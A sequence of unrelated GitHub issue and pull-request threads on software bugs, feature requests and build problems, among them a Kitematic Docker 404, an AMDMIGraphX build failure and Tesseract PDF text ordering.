404 when pulling searchblox in docker

Expected behavior
Pulling the image
Actual behavior
Not downloading.
Information about the Issue
(HTTP code 404) unexpected - {"message":"manifest for searchblox/searchblox:latest not found"}
Steps to reproduce the behavior

search searchblox in docker repo in Kitematic
click "create"
Message: (HTTP code 404) unexpected - {"message":"manifest for searchblox/searchblox:latest not found"}

Go to https://hub.docker.com/r/searchblox/searchblox/tags/
Observe no latest tags were created for that image
Select a different tag in Kitematic (if one exists)
🎉  enjoy container running.

Ideally you open an issue with the repo owner to let them know how frustrating it is that they don't have a latest image tagged

Thanks for the help. I will give it a try.
Best, Jan.
Am 11.08.2017 23:29 schrieb "French Ben"<EMAIL_ADDRESS>

Go to https://hub.docker.com/r/searchblox/searchblox/tags/
Observe no latest tags were created for that image
Select a different tag in Kitematic (if one exists)
🎉 enjoy container running.

Ideally you open an issue with the repo owner to let them know how
frustrating it is that they don't have a latest image tagged
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/docker/kitematic/issues/2946#issuecomment-321923338,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABvcjbkAbwWZwvrtE4BMNRF2YyeCqrYIks5sXMedgaJpZM4O0pXo
.


Log level should be customisable

The default, hardcoded value of info for log should be lowered or parametrized to be customized.
INFO is often used for printing meaningful information, while DEBUG is used for trace / dump etc.
So i'd suggest to either switch to DEBUG or, better, make it configurable.

Yes, good point, those log entries probably should be on DEBUG.
I'm considering doing a new version of this after jsonrpcserver, and possibly remove the logging altogether as we've done with jsonrpcserver. Logging can be done by the user, outside of this library.

Logging will be removed in v4.


Avoid the generated code needing to capture the Extension default values twice.

This ends up needing the defaultValue in two places:

Default protocol imp for extension lookup in ExtensibleMessage.
During the creation of a new field for decoding (decode is on the extension field).
Ideally, I'd change 1 so it returns nil and let the generator add the ?? default value.  That would let the default value not get created unless it was needed.  But the catch is 2.  We'd have to figure out how to redo decoding so it doesn't have to be done on the field, and instead can just deal with values and let the field get created after the fact.  The catch being extensions that are a message themselves, they would have to see if there in an existing value to do the merging if the field number is found twice.

Should I bump compatibilityVersion as part of this since there is some shuffling of what is generated?

It might make sense to move the decode from the ExtensionFields to MessageExtension( or MessageExtensionBase).  But just doing that would mean generating a custom decode for every extension, so we'd likely need to insert subclasses of MessageExtension for the generator to use like the ExtensionField ones so the decode methods really could be written once (and compile/linked once).

Anyway, this is pretty good progress on #502, and so lets get this in, and I'll see if I can find something to deal with the default values in the next few days.

This is a nice cleanup.
Please do bump compatibilityVersion since this does change the API between the library and the generated code.

Added a commit to bump compatibilityVersion


Question on repo setup

So at my company we've developed at shared c++ library for our mobile apps and we modeled our projects after this libmx3 example and similar projects, but wanted to ask about how you guys set up the repos. Do you have the android and ios project repos as submodules of the repo containing the c++ code, or is there a good way to keep them separate but easily updatable? If they're submodules or folders in the main repo holding the c++ code as well, then do the mobile devs need to work in the main c++ repo? I tried to do a little research on this and it seems like it's best to keep the repos next to each other, but it seems more natural to have the c++ library stuff as a submodule of the mobile projects, however that doesn't seem possible with this current setup. Any thoughts or advice you can share?
Thanks!

In my opinion, the best is to have them be in the same repo - this allows changes to shared code to be transactional, and refactoring is much easier.
However, for some - this setup doesn't work.  In that case, I think I would suggest the C++ code be a submodule of the mobile codebases.  The other way around, where mobile is a submodule of the C++ code seems completely backward to me - I'm not sure how that would work.

How would the c++ code be a submodule of the mobile codebases? Would you copy the c++ source into each platform that uses it? I can't figure out a good way that could work.
The current setup in the libmx3/mx3 project looks like the mobile projects could be submodules of the mx3 project - the example_android and ios sit in the libmx3 project so it seemed natural that they could become submodules, however they can't stand alone without changes.
But as this project stands, the mobile developers would check out the mx3 project as a whole, with each platform project?


Add Issue: Feature Request in Repository Issues.

There is no option to create an Issue for a Feature-request for crana. Only an option to create Issue: Bug.
I have already created the template for a "Feature-Request" , you just need to add it as an option =)

I've added it as an option. Thanks a lot!


bug: Jotai Error After Updating @types/react to v18.2.58+

After updating @types/react to v18.2.58 and newer, we get the following error:

Detected multiple Jotai instances. It may cause unexpected behavior with the default store.

Seems to be fixed w/ Jotai v2.7.0.


on_os_block: allow keg_only

Needed for https://github.com/Homebrew/homebrew-core/pull/71854 for example

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.
[ ] Have you successfully run brew style with your changes locally?
[ ] Have you successfully run brew typecheck with your changes locally?
[ ] Have you successfully run brew tests with your changes locally?

Review period ended.

Right, makes sense. I'll close then.


refactor: transform arrow & arrow-return

Modernize Code
Requires prior PRs to be merged in order:  #95, #97, #98, #99, #100

PR closed as parent PR has been invalidated.


[CWS] add cws-intrumentation binary to the package

What does this PR do?
Add cws-instrumentation to the agent package. It can be used on non ebpf platform.

Motivation

Additional Notes

Possible Drawbacks / Trade-offs

Describe how to test/QA your changes

/merge

/merge -c

/merge


Strict JSON failing to parse

When sending strict json, e.g. {"foo": "bar"} fmt fails to parse

I'm seeing this same issue. Not sure why it's closed =(

Hey, please could you post an example of what didn't parse correctly?

Can I message it to you out-of-band?

Just redact any sensitive info, or craft an example with the same structure but different keys & values?


--proxy-config option missing in new ng e2e

Versions
cli 6.0.0-rc.4

Repro steps

npm i @angular/cli@next -g
ng new helloworld
add --proxy-config proxy.config.json to npm e2e script in package.json
cd helloworld
npm run e2e

Observed behavior
Unknown option: '--proxyConfig'

Desired behavior
ng e2e should continue to support a proxy config as before.
Mention any other details that might be useful (optional)
Works with ng serve.

Looks like ng e2e is now taking options directly from ng serve options. For info, you need to config your angular.json like this:
"serve": {
  "options": {
    "browserTarget": "appname:build",
    "proxyConfig": "proxy.conf.json"
   }
}

Hi @cyrilletuzi
I am not sure about latest version of Angular CLI, but in version 1.6.5 you can add a proxy to protractor by a command line like this:
(package.json)
"e2e": "ng e2e --proxy-config proxy.conf.json",
Not sure why it was not documented in the wiki, it looks like a 'natural' way of adding a proxy - similar to the ng serve.

for .angular-cli.json i added
"serve": {
"port": 4200,
"host": "localhost",
"proxyConfig": "./proxy.conf.json"
}
thanks @cyrilletuzi


Console log should be optional

Works great, although logging process in console should be optional as debug mode - it makes a little mess in console :)

Hello, thanks for the feedback!
It should not be hard to implement, when i have a free weekend i ll look into it.

Disabled console log by default.
It can be still enabled with setting the verbose parameter to true.
https://github.com/peterforgacs/ffmpeg-normalize/commit/7c03bcf319de9ba201227d9c8179998e95d169fb


AMDMIGraphX build failing on 4.1

Both cmake .. and rbuild to install dependency is showing following error about can not find 2 cmake files:
root@guest:~/ROCm-4.1/AMDMIGraphX/build# rbuild build -d depend --cxx=/opt/rocm/llvm/bin/clang++
cget -p depend clean -y
cget -p depend init --cxx /opt/rocm/llvm/bin/clang++
cget -p depend ignore danmar/cppcheck
Ignore package danmar/cppcheck
cget -p depend ignore RadeonOpenCompute/clang-ocl
Ignore package RadeonOpenCompute/clang-ocl
cget -p depend ignore RadeonOpenCompute/rocm-cmake
Ignore package RadeonOpenCompute/rocm-cmake
cget -p depend ignore ROCm-Developer-Tools/HIP
Ignore package ROCm-Developer-Tools/HIP
cget -p depend ignore ROCmSoftwarePlatform/MIOpen
Ignore package ROCmSoftwarePlatform/MIOpen
cget -p depend ignore ROCmSoftwarePlatform/MIOpenGEMM
Ignore package ROCmSoftwarePlatform/MIOpenGEMM
cget -p depend ignore ROCmSoftwarePlatform/rocBLAS
Ignore package ROCmSoftwarePlatform/rocBLAS
cget -p depend install -f requirements.txt
cmake -DCMAKE_TOOLCHAIN_FILE=depend/cget/cget.cmake /root/ROCm-4.1/AMDMIGraphX/build
CMake Error at CMakeLists.txt:22 (find_package):
By not providing "Findnlohmann_json.cmake" in CMAKE_MODULE_PATH this
project has asked CMake to find a package configuration file provided by
"nlohmann_json", but CMake did not find one.
Could not find a package configuration file provided by "nlohmann_json"
(requested version 3.8.0) with any of the following names:
nlohmann_jsonConfig.cmake
nlohmann_json-config.cmake

Add the installation prefix of "nlohmann_json" to CMAKE_PREFIX_PATH or set
"nlohmann_json_DIR" to a directory containing one of the above files.  If
"nlohmann_json" provides a separate development package or SDK, be sure it
has been installed.
-- Configuring incomplete, errors occurred!
See also "/root/ROCm-4.1/AMDMIGraphX/build/CMakeFiles/CMakeOutput.log".
Traceback (most recent call last):
File "/usr/local/bin/rbuild", line 11, in
load_entry_point('rbuild==0.0.1', 'console_scripts', 'rbuild')()
File "/usr/local/lib/python2.7/dist-packages/click/core.py", line 829, in call
return self.main(*args, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/click/core.py", line 782, in main
rv = self.invoke(ctx)
File "/usr/local/lib/python2.7/dist-packages/click/core.py", line 1259, in invoke
return _process_result(sub_ctx.command.invoke(sub_ctx))
File "/usr/local/lib/python2.7/dist-packages/click/core.py", line 1066, in invoke
return ctx.invoke(self.callback, **ctx.params)
File "/usr/local/lib/python2.7/dist-packages/click/core.py", line 610, in invoke
return callback(*args, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/rbuild/cli.py", line 279, in w
f(make_builder, *args, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/rbuild/cli.py", line 308, in build
b.configure(clean=True)
File "/usr/local/lib/python2.7/dist-packages/rbuild/cli.py", line 257, in configure
self.cmake('-DCMAKE_TOOLCHAIN_FILE='+toolchain_file, self.get_source_dir(), *make_defines(self.get_defines()), cwd=self.get_build_dir())
File "/usr/local/lib/python2.7/dist-packages/rbuild/cli.py", line 208, in cmake
self.cmd(['cmake'] + sanitize_cmake_args(list(args)), **kwargs)
File "/usr/local/lib/python2.7/dist-packages/rbuild/cli.py", line 202, in cmd
subprocess.check_call(c, **kwargs)
File "/usr/lib/python2.7/subprocess.py", line 190, in check_call
raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['cmake', u'-DCMAKE_TOOLCHAIN_FILE=depend/cget/cget.cmake', '/root/ROCm-4.1/AMDMIGraphX/build']' returned non-zero exit status 1
root@guest:~/ROCm-4.1/AMDMIGraphX/build# nano -w ../README.md
root@guest:~/ROCm-4.1/AMDMIGraphX/build# ls -l /opt/rocm/llvm/bin/clang++
lrwxrwxrwx 1 root root 5 Apr  3 06:56 /opt/rocm/llvm/bin/clang++ -> clang
root@guest:~/ROCm-4.1/AMDMIGraphX/build# nano -w ../README.md

Culd not find those files anywhere?
root@guest:~/ROCm-4.1/AMDMIGraphX/build# find /opt/ -name nlohmann_jsonConfig.cmake
amdgpu/     amdgpu-pro/ rocm/       rocm-4.1.0/
root@guest:~/ROCm-4.1/AMDMIGraphX/build# find /opt/rocm-4.1.0/ -name nlohmann_jsonConfig.cmake
root@guest:~/ROCm-4.1/AMDMIGraphX/build#

Thanks @gggh000 for reaching out.
I am checking this for you.
Thank you.

Looks like I have not seen any issue like yours.
-- Found nlohmann_json: /home/master/AMDMIGraphX/depend/lib/cmake/nlohmann_json/nlohmann_jsonConfig.cmake (found suitable version "3.8.0", minimum required is "3.8.0")
My config is: MI25 + ROCm 4.1 + Ubuntu 18.04.5 + 5.4.0-70-generic

I followed below steps and I have not seen any issues.
#install rocm

Install ROCm 4.1 + rocm-libs etc.,.

#install rbuild
2. sudo apt install python3-pip
3. pip3 install https://github.com/RadeonOpenCompute/rbuild/archive/master.tar.gz
4. git clone https://github.com/ROCmSoftwarePlatform/AMDMIGraphX -b rocm-4.1.x && cd AMDMIGraphx
5. export PATH=$HOME/.local/bin:$PATH
6. rbuild build -d depend --cxx=/opt/rocm/llvm/bin/clang++
Output: Installation successful
Please let me know if you need any more information.
Thank you.

I followed your steps but running into issue. There has to be something else breaking that preinstalled on your system.

Its missing nlohmann_json, but rbuild should install it. You can see a list of dependencies that rbuild installed by doing cget -p depend ls. It would be useful to see the output you see when rbuild tries to build nlohmann_json, this may give insights into why it was skipped or not found.


xsend, standalone xmodem send utility

I wrote a standalone xmodem send utility. It is based on xrecv and I tried to keep the two as similar as possible.

Hello --- thanks for this; could you merge from master, please? Hopefully that should enable autobuilding for pull requests.

I not really sure how to do that. I just merged my xsend branch into master on my fork, but that does not seem to have had any impact on this pull request.
Should I close this one and make a new pull request from master?
My other pull request for a fix in vt52term was also made from a separate branch. I did this in order to keep the pull requests separate, but my git-fu is not exactly great so there is maybe a better way to do this?

Closing pull request to merge from master instead.


Check for nil records value

Closes #531

Be sure to resolve this honeybadger ticket when (if) this is merged and deployed: https://app.honeybadger.io/projects/54497/faults/43213880#notice-summary


Don't Trim Spaces or Line Breaks on Current Line

VS Code has 2 settings that trim whitespace:

files.trimFinalNewlines
files.trimTrailingWhitespace

One pain point is that they modify the current line I'm on.
I have a tendency to spam CTRL + S a lot, and it can be quite annoying to press the space/enter, then save either on habit or because I performed ALT + TAB, and lose the whitespace I put in.
I think there should be an option to trim spaces/line breaks, excluding the current line.
In the case of files.trimTrailingWhitespace, this would mean not to remove spaces on the current line.
In the case of files.trimFinalNewlines, this would mean to only remove empty lines from under the users text cursor, rather than the last line in the file.

cc @bpasero

cc @jrieken


Passing null to BleManager.cancelTransaction() on iOS hard-crashes the entire app without a useful stack trace

Should maybe be checked for before passing the parameter to any native API.

nullsafety will make this impossible in 3.0 release

@okocsis hi, is there any tentative date for 3.0 nullsafety release? This is a great library :)

I’m no collaborator here, I just did a PR from my own fork.
I don’t know but you can always use the latest commit on dev branch, or even fork that, and use the lib referring to a local git submodule in your pubspec.yaml.
On privatdoktor’s fork I’m working on a whole new ios layer, it will be a simple and elegant implementation using purely CBCentralManager and CoreBluetooth framework and Swift.
I had issues with the current ios implementation various race conditions and strange behaviours, and i had to realise it’s way too over complicated to easily patch these issues, meaning it’s nearly impossible to debug if there is 4layers of pub and pod libraries in between the app and the actual CoreBluetooth framework.
It will now just be 2layers of me own shit not someone else’s :P /just kidding/
so guys feel free to check out my work on my fork.
cheers

@okocsis Sounds great, thanks for sharing it :), I will take a look. Are you planning to merge your work (when it is finished) in this repository or just keeping it isolated?

@okocsis Sounds great, thanks for sharing it :), I will take a look. Are you planning to merge your work (when it is finished) in this repository or just keeping it isolated?

will surely make a PR when it’s ready, but now first priority is for our app to make it function on ios properly.
thus i cannot guarantee a comprehensive testing scheme although i am doing my best here.
I would really appreciate others testing it and reporting issues too!
thanks in advance!


Feature Support update on current_timestamp

Proposed changes
If a column is declared with on update current_timestamp, its value will be updated to the current timestamp whenever there is an update on the row.
Example:
mysql> CREATE TABLE t1 (
    ->     k int,
    ->     v int,
    ->     update_time datetime default current_timestamp on update current_timestamp)
    -> UNIQUE KEY(k) DISTRIBUTED BY HASH(k) BUCKETS 1
    -> PROPERTIES(
    ->     "replication_num" = "1",
    ->     "enable_unique_key_merge_on_write" = "true"
    -> );
Query OK, 0 rows affected (0.01 sec)
mysql> set enable_unique_key_partial_update=true;
Query OK, 0 rows affected (0.00 sec)

mysql> set enable_insert_strict=false;
Query OK, 0 rows affected (0.00 sec)

mysql> insert into t1(k,v) values(1,1),(2,2);
Query OK, 2 rows affected (0.04 sec)
mysql> select * from t1;
+------+------+---------------------+
| k    | v    | update_time         |
+------+------+---------------------+
|    1 |    1 | 2023-10-25 22:38:10 |
|    2 |    2 | 2023-10-25 22:38:10 |
+------+------+---------------------+
2 rows in set (0.03 sec)
mysql> set enable_unique_key_partial_update=false;
Query OK, 0 rows affected (0.00 sec)

mysql> insert into t1(k,v) values(1,100);
Query OK, 1 row affected (0.04 sec)
mysql> select * from t1;
+------+------+---------------------+
| k    | v    | update_time         |
+------+------+---------------------+
|    2 |    2 | 2023-10-25 22:38:10 |
|    1 |  100 | 2023-10-25 22:38:37 |
+------+------+---------------------+
2 rows in set (0.03 sec)

similar to https://dev.mysql.com/doc/refman/8.0/en/timestamp-initialization.html
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run p0

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall

run feut

run pipelinex_p0

run feut

run feut

run feut


Automatic generation added.

New support added

to goLang generate
to swagger document generate
to grpc gateway generate

with https://github.com/scalapb/protoc-bridge/pull/16

Thanks for adding this, some comments.

@thesamet
Thank you for your review.
The plugin com.trueaccord.scalapb.compilerplugin-0.6.7 depends on com.trueaccord.scalapb.protoc-bridge-0.3.0-M1.
It has the same gens object. Should I also handle this?

Thanks @giiita , no need to test ScalaPB's gen, thats being tested in other tests.

Sorry, Cannot understand.
Are can you add only a single unit test for all the built-in generators, instead of a unit test for each individual generator? and no need to test ScalaPB's gen  contradictory?
In other words, "built-in test" does not enter?

@thesamet Sorry, Cannot understand.
Are can you add only a single unit test for all the built-in generators, instead of a unit test for each individual generator? and no need to test ScalaPB's gen  contradictory?
In other words, Do I need to delete the "build-in" test?

@thesamet
Hi, Could you please check it?

This has been fully merged and available in 0.99.15

Thank you,\


uboot: a whole bunch of build fixes

Description of changes
Fixes the fallout from https://github.com/NixOS/nixpkgs/pull/265009, properly this time. Also fixes all the other build errors I've found while testing.
Expression I've used to test all the uboots:
let
  pkgs = import ./. {};
  lib = pkgs.lib;

  uboots = lib.filterAttrs (k: v: lib.hasPrefix "uboot" k) (pkgs.callPackage ./pkgs/misc/uboot {});

  allSystems = lib.unique (lib.flatten (lib.mapAttrsToList (_: v: v.meta.platforms) uboots));
  pkgsBySystem = lib.genAttrs allSystems (s: import ./. { crossSystem = s; });

  crossUboots = lib.mapAttrs (k: v: pkgsBySystem.${builtins.head v.meta.platforms}.${k}) uboots;
in crossUboots // { crossUbootToolsExample = pkgsBySystem.aarch64-linux.ubootTools; }

Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Going to merge this to unbreak things.

Thanks! Didn't really have time to test this and the previous one I approved without testing, so was a bit more wary with this one. The diff looks fine.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/building-u-boot-failed-missing-uuid-uuid-h/35784/2


[Enhancement] Use index mapping json file

Use java code to construct index mapping is error-prone. Let's create index mapping json file like AD https://github.com/opensearch-project/anomaly-detection/tree/main/src/main/resources/mappings

@pyek-bot assigned to you.


Remove workaround from test_concat_size_0_dim once upstream bug fixed

https://github.com/scikit-hep/awkward/issues/2209

Remove marked workaround from test_concat_size_0_dim once the upstream bug from awkward is fixed, and a release made.

It’s fixed in v2.0.8 in February, time to do this!
I don’t really see what to remove though, this whole block?
https://github.com/scverse/anndata/blob/caded963f4cdf16e97ba69fa41fb8367c997660c/anndata/tests/test_concatenate.py#L1287-L1302

I think removing the block, plus pinning awkward to higher than 2.0.7.


make tables in js-rendered markdown responsive, darken whites a tiny bit

as mentioned in https://github.com/nf-core/nf-co.re/pull/447#issuecomment-662895335.

It actually works also like that:

But I will wrap it in the element to make sure, that nothing is broken anytime.

Huh, cool. I wonder if it's the tbody element that then scrolls or something? But yeah, safer to stick to the Bootstrap docs way of doing things if possible I think..


Oauth2 v1.4 is end of life - is there a plan to move to v2?

We get the following warning:
Post-install message from oauth2:

You have installed oauth2 version 1.4.11, which is EOL.
No further support is anticipated for the 1.4.x series.

OAuth2 version 2 is released.
There are BREAKING changes, but most will not encounter them, and upgrading should be easy!

We have made two other major migrations:
1. master branch renamed to main
2. Github has been replaced with Gitlab

Please see:
• https://gitlab.com/oauth-xx/oauth2#what-is-new-for-v20
• https://gitlab.com/oauth-xx/oauth2/-/blob/main/CHANGELOG.md
• https://groups.google.com/g/oauth-ruby/c/QA_dtrXWXaE

Please upgrade, report issues, and support the project! Thanks, |7eter l-|. l3oling

Looks like this gem requires ~>1.4, are there any plans to move to v2?

Hi @telou, thanks for letting us know. I'll confer with my team to try and get this updated.

v1.2 has been released to support oauth2 v2. Please let us know if you encounter any issues.
https://rubygems.org/gems/procore/versions/1.2


Changing user password

There is no option for changing a password. The password is entered during user creation by the admin, and I can't see any option to change it later by the user.

True. I identified the same for non-admin users.

As per feedback comment

reseting password by user now is only via e-mail (unless I saw wrong). what if the mail server is not configured? Solution - put a note to contact manager or admin user - simple as that :)


Call WG code directly when bridging peers instead of creating a UDP connection

Currently we create a UDP connection to the local WG server when bridging STUN peers or to bridge the public socket with the local WG server. Instead of that, we should try to call the WG server handler directly and capture the response (if any) to send it back to the client so that we reduce the amount of sockets that are consumed by the daemon

Just hit this specific issue on the gateway node that lost its public port after an hour of inactivity on the port
My other client kept his public port active and that didn't close


loginRedirect or loginPopup works in IE11 debug mode only(after opening the console)

In IE11, while calling the onsignin, navigation not happening either using the redirect or popup,
Tried with sample react-sample-app also, same behaviour
works only when i open the console(inspect element).
async onSignIn(redirect) {
if (redirect) {
return msalApp.loginRedirect(GRAPH_REQUESTS.LOGIN);
}
const loginResponse = await msalApp
  .loginPopup(GRAPH_REQUESTS.LOGIN)
  .catch(error => {
    console.log(error)
  });
console.log({ loginResponse })

}

@venki786 Are there errors in the JavaScript console when this happens?

No errors in javascript console, if again i call onsignin it shows errors like below
"Login_In_Progress: Error during login call - login is already in progress"
if i try with loginPopup in IE11, popup shows blank window.

Issue resolve, this is due to below code in UserAgentApplication
system: {
navigateFrameWait: 0,
logger: {
error: console.error,
errorPii: console.error,
info: console.log,
infoPii: console.log,
verbose: console.log,
verbosePii: console.log,
warning: console.warn,
warningPii: console.warn
}
}
After removing the above code it works fine.
Ref: https://www.wikitechy.com/tutorials/javascript/why-does-javascript-only-work-after-opening-developer-tools-in-ie-once

@venki786 Ah, makes sense. I'll see if I can make it so the sample doesn't do that by default.


gobgp: 3.30.0 -> 3.31.0

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/osrg/gobgp/releases.
meta.description for gobgp is: CLI tool for GoBGP
meta.homepage for gobgp is: https://osrg.github.io/gobgp/
Updates performed

Golang update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 3.31.0 in filename of file in /nix/store/syak32pfbi4xd66msnyknbb8x7gp7551-gobgp-3.31.0

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

gobgp

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/syak32pfbi4xd66msnyknbb8x7gp7551-gobgp-3.31.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A gobgp https://github.com/r-ryantm/nixpkgs/archive/e80f421c9b9b2b5972fcaf05e9bb0839e196c70e.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/e80f421c9b9b2b5972fcaf05e9bb0839e196c70e#gobgp

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/syak32pfbi4xd66msnyknbb8x7gp7551-gobgp-3.31.0
ls -la /nix/store/syak32pfbi4xd66msnyknbb8x7gp7551-gobgp-3.31.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review

x86_64-linux

:white_check_mark: 1 package built:

gobgp

Maintainer pings
cc @higebu for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

Merge conflict, closing to allow the bot to create a correct one.


Incorrect links to dcterms

On the page http://rs.tdwg.org/dwc/terms/index.htm, the references to the discussion pages for Dublin Core terms each pointed to incorrect URLs (e.g., http://terms.tdwg.org/wiki/dwc:type). Correct these to point to the correct pages (e.g., http://terms.tdwg.org/wiki/dcterms:type).

Corrected in commit 44b25f0fad187949c1f95fef7210b0d96c056135.


⚠ ClamAV has degraded performance

In 5d883d6, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 81 ms

Resolved: ClamAV performance has improved in 2eb0289 after 5 minutes.


Text in generated PDF in wrong order

The characters in the attached image are recognized by Tesseract, but placed in a wrong order when generating a PDF file (which prevents searching in the PDF):
$ tesseract pdf-test.jpg pdf-test pdf
$ pdftotext pdf-test.pdf -
ra
me
ka
ot
ar
fr
In
en
ch
is
om
on
tr
as
r
ne
ei
g
un
ob
pr
Bau und Er

The original text scan is not exactly horizontal (-0.5°). If this is fixed before doing OCR, Tesseract creates a PDF with the correct text.

I suspect the problem is in pdftotext. To find out, open the PDF in another viewer such as Chrome or Adobe Reader and see what you get during search and copy-paste.

Confirmed. Poppler (used by pdftotext) has a very hard time with titled text. If you want Tesseract to be more aggressive at producing flat text lines for tilted images, modify ClipBaseline(). But a better approach is to to use a different text extractor, for example one based on PDFium.
https://github.com/tesseract-ocr/tesseract/blob/master/api/pdfrenderer.cpp#L275

And finally, if you want to post-process Tesseract produced PDF to flatten out tilted textlines, that's also fairly easy. Just ask if you need details.

evince (my standard PDF viewer on Linux) has the same problem and is not able to search such PDFs. The PDF viewer of iceweasel / Firefox gets the words right, so it is possible to search 'Infrarotkamera', but not the lines, so searching for word combinations does not work.

Evince's pdf support is based on Poppler.
https://en.wikipedia.org/wiki/Evince#Supported_document_formats
https://en.wikipedia.org/wiki/Poppler_(software)

Maybe Firefox also uses parts of the Poppler code. So there are a number of PDF viewers which are less robust in getting correct text lines from a Tesseract PDF. Wikipedia shows that the list of these viewers is quit impressive. This increases my wish to understand and fix what goes wrong in Tesseract's PDF generation process.

I just tested with Chromium (Debian's variant of Chrome). It gets the text better, but not good: "astronomischen Infrarotkamera" is not found because it is split in separate lines.

Maybe Firefox also uses parts of the Poppler code.

No.
https://github.com/mozilla/pdf.js

Chromium uses PDFium:
https://pdfium.googlesource.com/pdfium/
https://news.ycombinator.com/item?id=7781878
http://blog.foxitsoftware.com/foxit-pdf-technology-chosen-for-google-open-source/
https://groups.google.com/forum/#!forum/pdfium

There's nothing invalid with the PDF files produced; tilted symbolic text lines are legitimate in PDF. They are the accurate representation of OCR results. The words are inside there just fine, along with some geometry describing the angle of the baseline. That said, this does blow the mind of some PDF simple minded text extractors who assume that it is impossible for a line of text to have any deviation of y-position between characters. (As you might imagine, this gets particularly fun with vertical Japanese text.)
You have exactly three choices if you want to better compatibility these viewers. One is to deskew the image before calling OCR. Second is modifying the section of code I pointed to earlier in Tesseract, to eliminate tilt in the symbolic text lines. Third is to remove the tilt in the invisible symbolic text lines, after the PDF is produced. All three of these approaches are relatively easy for a programmer and I'm happy to provide guidance.
There are major problems of forcing heavily titled text lines to be flat, a big one being
word highlightling ends up in the wrong place visually. So I would be reluctant to do that by default.

There must be some other aspect of the original scan, because Tesseract generates a PDF which works perfectly with all viewers and with pdftotext from this generated image with the same tilted text:

Poppler homepage
http://poppler.freedesktop.org/
Maybe someone wants to fill a bug report?

Use bugzilla to report bugs or suggest enhancements. The component is poppler.

From the TODO:

Investigate better (that is, normal) text selection.

@stweil, what @jbreiden is saying is that some pdf viewer have bugs that make them present skewed text lines incorrectly

Ok. Let me explain what I have understood. Obviously it is not possible to describe a rotated text line in PDF, so you have either to pretend that the line is horizontal (that's what ABBYY does with the original image and Tesseract does with the generated image), or you have to approximate the rotation by splitting the text line into smaller parts with different y values (which is causing trouble with most or even all free PDF viewers, at least those that are based on Poppler, Mozilla or PDFium).
I noticed a 2nd difference between ABBYY and Tesseract PDF: with Evince, selected text from the Tesseract PDF is shown as a simple blue rectangle, while in the ABBYY PDF it also shows the characters with some built-in font. But that's a different story.

@stweil: You are misunderstanding. It is possible to describe a rotated text line in PDF. Tesseract does exactly this for any text line whose tilt is large enough. The tilted screenshot in Hebrew above is Tesseract output, displayed in Adobe Reader. You can even see the tilted text being highlighted for copy-paste in all their tilted glory. I point everyone again at the critical piece of code that explains the situation. It effectively says, 'Does the vertical displacement between the beginning and end of the baseline exceed 2 pts? (2 pts = 1 / 36 inch) If so, pretend the line is horizontal. Otherwise, faithfully record it as tilted.
https://github.com/tesseract-ocr/tesseract/blob/master/api/pdfrenderer.cpp#L275
P.S. While there is a prayer that Poppler will evolve, my best guess is it will instead be replaced with PDFium some time over the next 10 years. PDFium is by no means perfect, but it is much stronger than Poppler.

I am going to close this issue soon, as working as intended. If people think the
threshold should be increased, that's a reasonable thing to discuss. Right if
a text line has 2pts or less vertical displacement, we draw it totally flat. Maybe
that number should be 3pts.

I have similar problem while extracting data from pdf, it splits into one or two characters per line.  I tried using TESS4J which gets the text much better. So trying to find if there is any options in tesseract(java) i could use.
Thanks


fix: code generating enum values containing !, =, ~ are stripped

